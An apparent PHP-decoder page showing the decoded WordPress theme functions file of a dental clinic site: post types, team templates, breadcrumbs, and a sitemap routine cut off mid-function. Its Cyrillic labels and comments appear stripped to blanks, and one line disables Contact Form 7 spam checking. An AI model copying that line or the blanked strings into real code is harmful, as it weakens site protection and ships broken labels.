Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** **/ function register_menus() { register_nav_menus( array( 'ma..

Decoded Output download

<?php 
/**    **/ 
function register_menus() { 
  register_nav_menus( 
    array( 
    'main-menu' => __( ' ' ), 
    'services' => __( '' ), 
    'footer-menu' => __( '  ' ), 
    ) 
  ); 
} 
add_action( 'init', 'register_menus' ); 
 
// Async load 
function ikreativ_async_scripts($url) 
{ 
    if ( strpos( $url, '#asyncload') === false ) 
        return $url; 
    else if ( is_admin() ) 
        return str_replace( '#asyncload', '', $url ); 
    else 
	return str_replace( '#asyncload', '', $url )."' async='async"; 
} 
add_filter( 'clean_url', 'ikreativ_async_scripts', 11, 1 ); 
 
/*  100%   */ 
 
add_filter('jpeg_quality', function($arg){return 100;}); 
 
 
//    ACF 
if( function_exists('acf_add_options_page') ) { 
	acf_add_options_page(); 
} 
 
add_theme_support( 'post-thumbnails' ); 
add_image_size( 'photo-clinic', 400, 220, true ); // For photo clinic 
 
/*------------- ENQUE SCRIPT FILE AND STYLE FILE START -------------*/ 
function doverie_scripts() { 
  wp_enqueue_style( 'responsive', get_template_directory_uri() . '/responsive.css'); 
} 
add_action( 'wp_enqueue_scripts', 'doverie_scripts' ); 
 
/*------------- REV START -------------*/ 
add_action( 'init', 'create_post_type_review' ); 
function create_post_type_review() { 
register_post_type( 'review', 
array( 
'labels' => array( 
'name' => __( '' ), 
'singular_name' => __( '' ), 
'has_archive' => true, 
'add_new' => ' ', 
'not_found' => '  ', 
'not_found_in_trash' => ' ' 
), 
'public' => true, 
'has_archive' => true, 
'supports' => array( 
'title', 
'editor', 
'thumbnail', 
), 
)); 
} 
 
/*------------- DOCTORS START -------------*/ 
add_action( 'init', 'create_post_type_doctors' ); 
function create_post_type_doctors() { 
register_post_type( 'doctors', 
array( 
'labels' => array( 
'name' => __( '' ), 
'singular_name' => __( '' ), 
'has_archive' => true, 
'add_new' => ' ', 
'not_found' => '  ', 
'not_found_in_trash' => ' ' 
), 
'public' => true, 
'has_archive' => true, 
'supports' => array( 
'title', 
'editor', 
'thumbnail', 
), 
)); 
} 
 
/*------------- SERVICES START -------------*/ 
add_action( 'init', 'create_post_type_services' ); 
function create_post_type_services() { 
register_post_type( 'services-view', 
array( 
'labels' => array( 
'name' => __( '' ), 
'singular_name' => __( '' ), 
'has_archive' => true, 
'add_new' => ' ', 
'not_found' => '  ', 
'not_found_in_trash' => ' ' 
), 
'public' => true, 
'has_archive' => true, 
'supports' => array( 
'title', 
'editor', 
'thumbnail', 
), 
)); 
} 
 
/*------------- PATIENT START -------------*/ 
add_action( 'init', 'create_post_type_patients' ); 
function create_post_type_patients() { 
register_post_type( 'patients', 
array( 
'labels' => array( 
'name' => __( '' ), 
'singular_name' => __( '' ), 
'has_archive' => true, 
'add_new' => ' ', 
'not_found' => '  ', 
'not_found_in_trash' => ' ' 
), 
'public' => true, 
'has_archive' => true, 
'supports' => array( 
'title', 
'editor', 
'thumbnail', 
), 
)); 
} 
 
/*------------- PATIENT START -------------*/ 
add_action( 'init', 'create_post_type_portfolio' ); 
function create_post_type_portfolio() { 
register_post_type( 'portfolio-view', 
array( 
'labels' => array( 
'name' => __( '' ), 
'singular_name' => __( '' ), 
'has_archive' => true, 
'add_new' => ' ', 
'not_found' => '  ', 
'not_found_in_trash' => ' ' 
), 
'public' => true, 
'has_archive' => true, 
'supports' => array( 
'title', 
'editor', 
'thumbnail', 
), 
)); 
} 
/*------------- PATIENT -------------*/ 
function patients() { ?> 
  <div class="patient"> 
  	<div class="container"> 
  		<h2> </h2> 
            <?php 
            $query = new WP_Query( array( 'post_type' => 'patients', 'orderby' => 'date', 'order' => 'ASC', 'posts_per_page' => -1 ) ); ?> 
            <div class="slider slider_1"> 
            <?php if ( $query->have_posts() ) : ?> 
            <?php while ( $query->have_posts() ) : $query->the_post(); ?> 
 
  							<?php 
  							if( have_rows('add_photo_patient') ): 
  							    while ( have_rows('add_photo_patient') ) : the_row(); 
  											$photo_patient = get_sub_field('photo_patient'); ?> 
  											<div> 
  											<div class="photo-frame"><img src="<?php echo $photo_patient['url']; ?>" alt=" "></div> 
  											</div> 
  							    <?php endwhile; 
  							endif; 
  							?> 
 
            <?php endwhile; wp_reset_postdata(); ?> 
            </div> 
            <?php endif; ?> 
  	</div> 
  </div> 
  <script> 
    $('.slider_1').slick({ 
      infinite: false, 
      speed: 600, 
    	centerPadding: '60px', 
      slidesToShow: 4, 
      slidesToScroll: 1, 
      autoplay: true, 
      arrows: true, 
      responsive: [ 
    { 
      breakpoint: 769, 
      settings: { 
        slidesToShow: 1, 
        slidesToScroll: 1, 
        autoplay: false, 
      } 
    }, 
    // You can unslick at a given breakpoint now by adding: 
    // settings: "unslick" 
    // instead of a settings object 
  ] 
    }); 
  </script> 
<?php } 
 
/*------------- TEAM -------------*/ 
function team() { ?> 
<div class="team team-desktop"> 
	<div class="container"> 
		 
		<div class="team-1 wrap-team"> 
			<div class="team__cloud-1"><p><a href="/doctors/bulygin-ilya-aleksandrovich-2/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			<div class="staj"> 28 </div> 
			<a href="/doctors/bulygin-ilya-aleksandrovich-2/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-1.png" class="team-img wow zoomIn" data-wow-delay="0.5s" alt="  "></a> 
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="0.5s"><p>.   <br>   </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div> 
		</div> 
 
		<div class="team-2 wrap-team"> 
			<div class="team__cloud-1"><p><a href="/doctors/esin-aleksandr-sergeevich/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			<div class="staj"> 7 </div> 
			<a href="/doctors/esin-aleksandr-sergeevich/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-2.png" class="team-img wow zoomIn" data-wow-delay="0.8s" alt="  "></a> 
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="0.8s"><p> -,  -</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div> 
		</div> 
 
		<div class="team-3 wrap-team"> 
		   <div class="team__cloud-1"><p><a href="/doctors/aliev-eduard-ilich/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			 <div class="staj"> 11 </div> 
			 <a href="/doctors/aliev-eduard-ilich/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-3.png" class="team-img wow zoomIn" data-wow-delay="1.1s" alt="  "></a> 
			 <div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.1s"><p>-, -</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div> 
		</div> 
 
		<!-- <div class="team-6 wrap-team"> --> 
		<div class="team-4 wrap-team"> 
			<div class="team__cloud-1"><p><a href="/doctors/vyrinova-olga-valerevna/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			<div class="staj"> 17 </div> 
			<a href="/doctors/vyrinova-olga-valerevna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-5.png" class="team-img wow zoomIn" data-wow-delay="1.4s" alt="  "></a> 
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.4s"><p> </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div> 
		</div> 
 
		<div class="team-5 wrap-team"> 
			<div class="team__cloud-1"><p><a href="/doctors/vandenko-oksana-aleksandrovna/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			<!-- <div class="staj"> 30+ </div> --> 
			<a href="/doctors/vandenko-oksana-aleksandrovna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-4.png" class="team-img wow zoomIn" data-wow-delay="1.7s" alt="  "></a> 
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.7s"><p> </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div> 
		</div> 
 
		<!-- <div class="team-4 wrap-team"> 
			<div class="team__cloud-1"><p><a href="/doctors/noskova-natalya-viktorovna/"><br><br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			<div class="staj"> 16+ </div> 
			<a href="/doctors/noskova-natalya-viktorovna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-6.png" class="team-img wow zoomIn" data-wow-delay="1.7s" alt="  "></a> 
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.7s"><p>-</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-2.svg" class="cloud-2" alt="cloud"></div> 
		</div> --> 
		<a href=""><img src="<?php bloginfo('template_url'); ?>/assets/images/team-btn.png" class="team-btn wow zoomIn" data-wow-delay="0.7s" alt="  "></a> 
	</div> 
</div> 
<?php } 
 
/*------------- TEAM MOBILE -------------*/ 
function teamMobile() { ?> 
<div class="team team-mobile"> 
	<div class="container"> 
		 
		<div class="team-1 wrap-team"> 
			<div class="team__cloud-1"><p><a href="/doctors/bulygin-ilya-aleksandrovich-2/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			<a href="/doctors/bulygin-ilya-aleksandrovich-2/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-1.png" class="team-img wow zoomIn" data-wow-delay="0.5s" alt="  "></a> 
			<div class="staj"> 28 </div> 
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="0.5s"><p>.   <br>   </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div> 
		</div> 
 
		<div class="team-2 wrap-team"> 
			<div class="team__cloud-1"><p><a href="/doctors/esin-aleksandr-sergeevich/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			<a href="/doctors/esin-aleksandr-sergeevich/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-2.png" class="team-img wow zoomIn" data-wow-delay="0.8s" alt="  "></a> 
			<div class="staj"> 7 </div> 
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="0.8s"><p> -,  -</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div> 
		</div> 
 
		<div class="team-3 wrap-team"> 
		   <div class="team__cloud-1"><p><a href="/doctors/aliev-eduard-ilich/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			 <a href="/doctors/aliev-eduard-ilich/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-3.png" class="team-img wow zoomIn" data-wow-delay="1.1s" alt="  "></a> 
			 <div class="staj"> 11 </div> 
			 <div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.1s"><p>-, -</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div> 
		</div> 
 
		<!-- <div class="team-4 wrap-team"> 
			<div class="team__cloud-1"><p><a href="/doctors/noskova-natalya-viktorovna/"><br><br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			<a href="/doctors/noskova-natalya-viktorovna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-6.png" class="team-img wow zoomIn" data-wow-delay="1.7s" alt="  "></a> 
			<div class="staj"> 16+ </div> 
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.7s"><p>-</p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div> 
		</div> --> 
		 
		<div class="team-5 wrap-team"> 
			<div class="team__cloud-1"><p><a href="/doctors/vyrinova-olga-valerevna/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			<a href="/doctors/vyrinova-olga-valerevna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-5.png" class="team-img wow zoomIn" data-wow-delay="1.4s" alt="  "></a> 
			<div class="staj"> 17 </div> 
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.4s"><p> </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div> 
		</div> 
 
		<!-- <div class="team-6 wrap-team"> --> 
		<div class="team-4 wrap-team"> 
			<div class="team__cloud-1"><p><a href="/doctors/vandenko-oksana-aleksandrovna/"> <br> <br></a></p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-1.svg" class="cloud-1" alt="cloud"></div> 
			<a href="/doctors/vandenko-oksana-aleksandrovna/"><img src="<?php bloginfo('template_url'); ?>/assets/images/team-4.png" class="team-img wow zoomIn" data-wow-delay="1.7s" alt="  "></a> 
			<!-- <div class="staj"> 30+ </div> --> 
			<div class="team__cloud-2 wow fadeIn"  data-wow-delay="1.7s"><p> </p><img src="<?php bloginfo('template_url'); ?>/assets/images/cloud-3.svg" class="cloud-2" alt="cloud"></div> 
		</div> 
 
		<a href=""><img src="<?php bloginfo('template_url'); ?>/assets/images/team-btn.png" class="team-btn wow zoomIn" data-wow-delay="0.7s" alt="  "></a> 
	</div> 
</div> 
<?php } 
/*------------- CONTACT FORM -------------*/ 
function contactForm() { ?> 
  <div id="order" class="screen-order"> 
    <div class="container"> 
      <div class="grid grid-columns-2-1"> 
        <div class=""> 
          <!-- <p class="screen-order__title">    </p> 
          <p class="screen-order__subtitle">  10%    </p> --> 
          <div class="screen-order__form"> 
            <?php echo do_shortcode('[contact-form-7 id="77" title="  "]'); ?> 
          </div> 
        </div> 
        <div class=""> 
          <img src="<?php bloginfo('template_url'); ?>/assets/images/order-girl.png" class="order-girl wow fadeIn" data-wow-delay="0.7s" alt=""> 
        </div> 
      </div> 
    </div> 
  </div> 
<?php } 
 
 
/*     */ 
 
add_action( 'init', 'create_post_type_quest' ); 
function create_post_type_quest() { 
register_post_type( 'quest', 
array( 
'labels' => array( //      
'name' => __( '-' ), 
'singular_name' => __( '-' ), 
'has_archive' => true, 
'add_new' => '  ', 
'not_found' => '  ', 
'not_found_in_trash' => '    ' 
), 
'public' => true, 
'has_archive' => true, 
'supports' => array( //    
'title', 
'editor', 
'author', 
'custom-fields', 
'revisions' 
), 
'taxonomies' => array('category', 'post_tag') //      
)); 
} 
 
/*    */ 
 
add_action( 'init', 'create_custom_category_quest', 0 ); 
function create_custom_category_quest() { 
    register_taxonomy( 
        'category_quest', 
        'quest', 
        array( 
            'labels' => array( 
                'name' => '  ', 
                'add_new_item' => ' ', 
                'new_item_name' => " " 
            ), 
            'show_ui' => true, 
            'show_tagcloud' => false, 
            'hierarchical' => true 
) 
 
    ); 
} 
 
function twentyseventeen_unique_id( $prefix = '' ) { 
  static $id_counter = 0; 
  if ( function_exists( 'wp_unique_id' ) ) { 
    return wp_unique_id( $prefix ); 
  } 
  return $prefix . (string) ++$id_counter; 
} 
function weblucky_get_svg( $args = array() ) { 
	// Make sure $args are an array. 
	if ( empty( $args ) ) { 
		return __( 'Please define default parameters in the form of an array.', 'twentyseventeen' ); 
	} 
 
	// Define an icon. 
	if ( false === array_key_exists( 'icon', $args ) ) { 
		return __( 'Please define an SVG icon filename.', 'twentyseventeen' ); 
	} 
 
	// Set defaults. 
	$defaults = array( 
		'icon'     => '', 
		'title'    => '', 
		'desc'     => '', 
		'fallback' => false, 
	); 
 
	// Parse args. 
	$args = wp_parse_args( $args, $defaults ); 
 
	// Set aria hidden. 
	$aria_hidden = ' aria-hidden="true"'; 
 
	// Set ARIA. 
	$aria_labelledby = ''; 
 
	/* 
	 * Twenty Seventeen doesn't use the SVG title or description attributes; non-decorative icons are described with .screen-reader-text. 
	 * 
	 * However, child themes can use the title and description to add information to non-decorative SVG icons to improve accessibility. 
	 * 
	 * Example 1 with title: <?php echo twentyseventeen_get_svg( array( 'icon' => 'arrow-right', 'title' => __( 'This is the title', 'textdomain' ) ) ); ?> 
	 * 
	 * Example 2 with title and description: <?php echo twentyseventeen_get_svg( array( 'icon' => 'arrow-right', 'title' => __( 'This is the title', 'textdomain' ), 'desc' => __( 'This is the description', 'textdomain' ) ) ); ?> 
	 * 
	 * See https://www.paciellogroup.com/blog/2013/12/using-aria-enhance-svg-accessibility/. 
	 */ 
	if ( $args['title'] ) { 
		$aria_hidden     = ''; 
		$unique_id       = twentyseventeen_unique_id(); 
		$aria_labelledby = ' aria-labelledby="title-' . $unique_id . '"'; 
 
		if ( $args['desc'] ) { 
			$aria_labelledby = ' aria-labelledby="title-' . $unique_id . ' desc-' . $unique_id . '"'; 
		} 
	} 
 
	// Begin SVG markup. 
	$svg = '<svg class="icon icon-' . esc_attr( $args['icon'] ) . '"' . $aria_hidden . $aria_labelledby . ' role="img">'; 
 
	// Display the title. 
	if ( $args['title'] ) { 
		$svg .= '<title id="title-' . $unique_id . '">' . esc_html( $args['title'] ) . '</title>'; 
 
		// Display the desc only if the title is already set. 
		if ( $args['desc'] ) { 
			$svg .= '<desc id="desc-' . $unique_id . '">' . esc_html( $args['desc'] ) . '</desc>'; 
		} 
	} 
 
	/* 
	 * Display the icon. 
	 * 
	 * The whitespace around `<use>` is intentional - it is a work around to a keyboard navigation bug in Safari 10. 
	 * 
	 * See https://core.trac.wordpress.org/ticket/38387. 
	 */ 
	$svg .= ' <use href="#icon-' . esc_html( $args['icon'] ) . '" xlink:href="#icon-' . esc_html( $args['icon'] ) . '"></use> '; 
 
	// Add some markup to use as a fallback for browsers that do not support SVGs. 
	if ( $args['fallback'] ) { 
		$svg .= '<span class="svg-fallback icon-' . esc_attr( $args['icon'] ) . '"></span>'; 
	} 
 
	$svg .= '</svg>'; 
 
	return $svg; 
} 
 
/* 
 * " "  WordPress 
 * : WebLucky.world 
 * : MIT 
*/ 
function weblucky_breadcrumbs() { 
 
	/* ===  === */ 
	$text['home']     = ''; //   "" 
	$text['category'] = '%s'; //     
	$text['search']   = '    "%s"'; //       
	$text['tag']      = '   "%s"'; //     
	$text['author']   = '  %s'; //     
	$text['404']      = ' 404'; //    404 
	$text['page']     = ' %s'; //  ' N' 
	$text['cpage']    = '  %s'; //  '  N' 
 
	$wrap_before    = '<div class="breadcrumbs" itemscope itemtype="http://schema.org/BreadcrumbList">'; //    
	$wrap_after     = '</div><!-- .breadcrumbs -->'; //    
	$sep            = '<span class="breadcrumbs__separator">    </span>'; //   "" 
	$before         = '<span class="breadcrumbs__current">'; //    "" 
	$after          = '</span>'; //    "" 
 
	$show_on_home   = 0; // 1 -  " "   , 0 -   
	$show_home_link = 1; // 1 -   "", 0 -   
	$show_current   = 1; // 1 -    , 0 -   
	$show_last_sep  = 1; // 1 -   ,      , 0 -   
	/* ===   === */ 
 
	global $post; 
	$home_url       = home_url('/'); 
	$link           = '<span itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem">'; 
	$link          .= '<a class="breadcrumbs__link" href="%1$s" itemprop="item"><span itemprop="name">%2$s</span></a>'; 
	$link          .= '<meta itemprop="position" content="%3$s" />'; 
	$link          .= '</span>'; 
	$parent_id      = ( $post ) ? $post->post_parent : ''; 
	$home_link      = sprintf( $link, $home_url, $text['home'], 1 ); 
 
	if ( is_home() || is_front_page() ) { 
 
		if ( $show_on_home ) echo $wrap_before . $home_link . $wrap_after; 
 
	} else { 
 
		$position = 0; 
 
		echo $wrap_before; 
 
		if ( $show_home_link ) { 
			$position += 1; 
			echo $home_link; 
		} 
	 
		if ( is_category() ) { 
			$parents = get_ancestors( get_query_var('cat'), 'category' ); 
			foreach ( array_reverse( $parents ) as $cat ) { 
				$position += 1; 
				if ( $position > 1 ) echo $sep; 
				echo sprintf( $link, get_category_link( $cat ), get_cat_name( $cat ), $position ); 
			} 
			if ( get_query_var( 'paged' ) ) { 
				$position += 1; 
				$cat = get_query_var('cat'); 
				echo $sep . sprintf( $link, get_category_link( $cat ), get_cat_name( $cat ), $position ); 
				echo $sep . $before . sprintf( $text['page'], get_query_var( 'paged' ) ) . $after; 
			} else { 
				if ( $show_current ) { 
					if ( $position >= 1 ) echo $sep; 
					echo $before . sprintf( $text['category'], single_cat_title( '', false ) ) . $after; 
				} elseif ( $show_last_sep ) echo $sep; 
			} 
 
		} elseif ( is_search() ) { 
			if ( get_query_var( 'paged' ) ) { 
				$position += 1; 
				if ( $show_home_link ) echo $sep; 
				echo sprintf( $link, $home_url . '?s=' . get_search_query(), sprintf( $text['search'], get_search_query() ), $position ); 
				echo $sep . $before . sprintf( $text['page'], get_query_var( 'paged' ) ) . $after; 
			} else { 
				if ( $show_current ) { 
					if ( $position >= 1 ) echo $sep; 
					echo $before . sprintf( $text['search'], get_search_query() ) . $after; 
				} elseif ( $show_last_sep ) echo $sep; 
			} 
 
		} elseif ( is_year() ) { 
			if ( $show_home_link && $show_current ) echo $sep; 
			if ( $show_current ) echo $before . get_the_time('Y') . $after; 
			elseif ( $show_home_link && $show_last_sep ) echo $sep; 
 
		} elseif ( is_month() ) { 
			if ( $show_home_link ) echo $sep; 
			$position += 1; 
			echo sprintf( $link, get_year_link( get_the_time('Y') ), get_the_time('Y'), $position ); 
			if ( $show_current ) echo $sep . $before . get_the_time('F') . $after; 
			elseif ( $show_last_sep ) echo $sep; 
 
		} elseif ( is_day() ) { 
			if ( $show_home_link ) echo $sep; 
			$position += 1; 
			echo sprintf( $link, get_year_link( get_the_time('Y') ), get_the_time('Y'), $position ) . $sep; 
			$position += 1; 
			echo sprintf( $link, get_month_link( get_the_time('Y'), get_the_time('m') ), get_the_time('F'), $position ); 
			if ( $show_current ) echo $sep . $before . get_the_time('d') . $after; 
			elseif ( $show_last_sep ) echo $sep; 
 
		} elseif ( is_single() && ! is_attachment() ) { 
			if ( get_post_type() != 'post' ) { 
				$position += 1; 
				$post_type = get_post_type_object( get_post_type() ); 
				if ( $position > 1 ) echo $sep; 
				$get_post_type_archive_link = get_post_type_archive_link( $post_type->name ); 
				$get_post_type_archive_link = str_replace("https://doveriestom.com/doctors/", "https://doveriestom.com/vrachi/", $get_post_type_archive_link); 
				$get_post_type_archive_link = str_replace("https://doveriestom.com/services-view/", "https://doveriestom.com/uslugi/", $get_post_type_archive_link); 
				$get_post_type_archive_link = str_replace("https://doveriestom.com/portfolio-view/", "https://doveriestom.com/nashi-raboty/", $get_post_type_archive_link); 
				echo sprintf( $link, $get_post_type_archive_link, $post_type->labels->name, $position ); 
				if ( $show_current ) echo $sep . $before . get_the_title() . $after; 
				elseif ( $show_last_sep ) echo $sep; 
			} else { 
				$cat = get_the_category(); $catID = $cat[0]->cat_ID; 
				$parents = get_ancestors( $catID, 'category' ); 
				$parents = array_reverse( $parents ); 
				$parents[] = $catID; 
				foreach ( $parents as $cat ) { 
					$position += 1; 
					if ( $position > 1 ) echo $sep; 
					echo sprintf( $link, get_category_link( $cat ), get_cat_name( $cat ), $position ); 
				} 
				if ( get_query_var( 'cpage' ) ) { 
					$position += 1; 
					echo $sep . sprintf( $link, get_permalink(), get_the_title(), $position ); 
					echo $sep . $before . sprintf( $text['cpage'], get_query_var( 'cpage' ) ) . $after; 
				} else { 
					if ( $show_current ) echo $sep . $before . get_the_title() . $after; 
					elseif ( $show_last_sep ) echo $sep; 
				} 
			} 
 
		} elseif ( is_post_type_archive() ) { 
			$post_type = get_post_type_object( get_post_type() ); 
			if ( get_query_var( 'paged' ) ) { 
				$position += 1; 
				if ( $position > 1 ) echo $sep; 
				echo sprintf( $link, get_post_type_archive_link( $post_type->name ), $post_type->label, $position ); 
				echo $sep . $before . sprintf( $text['page'], get_query_var( 'paged' ) ) . $after; 
			} else { 
				if ( $show_home_link && $show_current ) echo $sep; 
				if ( $show_current ) echo $before . $post_type->label . $after; 
				elseif ( $show_home_link && $show_last_sep ) echo $sep; 
			} 
 
		} elseif ( is_attachment() ) { 
			$parent = get_post( $parent_id ); 
			$cat = get_the_category( $parent->ID ); $catID = $cat[0]->cat_ID; 
			$parents = get_ancestors( $catID, 'category' ); 
			$parents = array_reverse( $parents ); 
			$parents[] = $catID; 
			foreach ( $parents as $cat ) { 
				$position += 1; 
				if ( $position > 1 ) echo $sep; 
				echo sprintf( $link, get_category_link( $cat ), get_cat_name( $cat ), $position ); 
			} 
			$position += 1; 
			echo $sep . sprintf( $link, get_permalink( $parent ), $parent->post_title, $position ); 
			if ( $show_current ) echo $sep . $before . get_the_title() . $after; 
			elseif ( $show_last_sep ) echo $sep; 
 
		} elseif ( is_page() && ! $parent_id ) { 
			if ( $show_home_link && $show_current ) echo $sep; 
			if ( $show_current ) echo $before . get_the_title() . $after; 
			elseif ( $show_home_link && $show_last_sep ) echo $sep; 
 
		} elseif ( is_page() && $parent_id ) { 
			$parents = get_post_ancestors( get_the_ID() ); 
			foreach ( array_reverse( $parents ) as $pageID ) { 
				$position += 1; 
				if ( $position > 1 ) echo $sep; 
				echo sprintf( $link, get_page_link( $pageID ), get_the_title( $pageID ), $position ); 
			} 
			if ( $show_current ) echo $sep . $before . get_the_title() . $after; 
			elseif ( $show_last_sep ) echo $sep; 
 
		} elseif ( is_tag() ) { 
			if ( get_query_var( 'paged' ) ) { 
				$position += 1; 
				$tagID = get_query_var( 'tag_id' ); 
				echo $sep . sprintf( $link, get_tag_link( $tagID ), single_tag_title( '', false ), $position ); 
				echo $sep . $before . sprintf( $text['page'], get_query_var( 'paged' ) ) . $after; 
			} else { 
				if ( $show_home_link && $show_current ) echo $sep; 
				if ( $show_current ) echo $before . sprintf( $text['tag'], single_tag_title( '', false ) ) . $after; 
				elseif ( $show_home_link && $show_last_sep ) echo $sep; 
			} 
 
		} elseif ( is_author() ) { 
			$author = get_userdata( get_query_var( 'author' ) ); 
			if ( get_query_var( 'paged' ) ) { 
				$position += 1; 
				echo $sep . sprintf( $link, get_author_posts_url( $author->ID ), sprintf( $text['author'], $author->display_name ), $position ); 
				echo $sep . $before . sprintf( $text['page'], get_query_var( 'paged' ) ) . $after; 
			} else { 
				if ( $show_home_link && $show_current ) echo $sep; 
				if ( $show_current ) echo $before . sprintf( $text['author'], $author->display_name ) . $after; 
				elseif ( $show_home_link && $show_last_sep ) echo $sep; 
			} 
 
		} elseif ( is_404() ) { 
			if ( $show_home_link && $show_current ) echo $sep; 
			if ( $show_current ) echo $before . $text['404'] . $after; 
			elseif ( $show_last_sep ) echo $sep; 
 
		} elseif ( has_post_format() && ! is_singular() ) { 
			if ( $show_home_link && $show_current ) echo $sep; 
			echo get_post_format_string( get_post_format() ); 
		} 
 
		echo $wrap_after; 
 
	} 
} // end of weblucky_breadcrumbs() 
 
function show_menu_services_view() { 
	echo '<div class="menu-uslugi-container">'; 
	echo '<ul id="menu-uslugi" class="menu">'; 
	$arMenu = wp_get_nav_menu_items(3); 
	foreach ($arMenu as $itemMenu) { 
		if (get_the_title() == $itemMenu->title) { 
			$category_name = explode("?", $itemMenu->url); 
			$category_name = array_shift($category_name); 
			$category_name = array_values(array_diff(explode("/", $category_name), array(''))); 
			$category_name = array_pop($category_name); 
			$args = array('posts_per_page' => -1, "category_name" => $category_name); 
			$posts = get_posts($args); 
			if ($posts) { 
				$subMenu = '<ul class="sub-menu-uslugi">'; 
				foreach ($posts as $post) { 
					//setup_postdata($post); 
					$subMenu .= '<li><a href="/' . $post->post_name . '/">- ' . $post->post_title . '</a></li>'; 
				} 
				$subMenu .= '</ul>'; 
			} 
			$classCurItemMenu = "current-menu-item"; 
		} else { 
			$subMenu = ""; 
			$classCurItemMenu = ""; 
		} 
		echo '<li id="menu-item-'.$itemMenu->ID.'" class="menu-item menu-item-type-post_type menu-item-object-services-view menu-item-'.$itemMenu->ID.' '.$classCurItemMenu.'">'; 
		echo '<a href="'.$itemMenu->url.'">'.$itemMenu->title.'</a>'; 
		echo $subMenu; 
		echo '</li>'; 
	}; 
	echo '</ul>'; 
	echo '</div>'; 
} 
 
add_filter('wpcf7_spam', '__return_false'); 
 
/* function to create sitemap.xml file in root directory of site  */ 
// add_action("publish_post", "eg_create_sitemap"); 
// add_action("publish_page", "eg_create_sitemap"); 
add_action( "save_post", "eg_create_sitemap" ); 
function eg_create_sitemap() { 
    if ( str_replace( '-', '', get_option( 'gmt_offset' ) ) < 10 ) {  
        $tempo = '-0' . str_replace( '-', '', get_option( 'gmt_offset' ) );  
    } else {  
        $tempo = get_option( 'gmt_offset' );  
    } 
    if( strlen( $tempo ) == 3 ) { $tempo = $tempo . ':00'; } 
    $postsForSitemap = get_posts( array( 
        'numberposts' => -1, 
        'orderby'     => 'modified', 
        'post_type'   => array( 'post', 'page' ), 
        'order'       => 'DESC' 
    ) ); 
    $sitemap .= '<?xml version="1.0" encoding="UTF-8"?>'; 
    $sitemap .= "
" . '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1">' . "
"; 
    $sitemap .= "	" . '<url>' . "
" . 
        "		" . '<loc>' . esc_url( home_url( '/' ) ) . '</loc>' . 
        "
		" . '<lastmod>' . date( "Y-m-d\TH:i:s", current_time( 'timestamp', 0 ) ) . $tempo . '</lastmod>' . 
        "
		" . '<changefreq>daily</changefreq>' . 
        "
		" . '<priority>1.0</priority>' . 
        "
	" . '</url>' . "
"; 
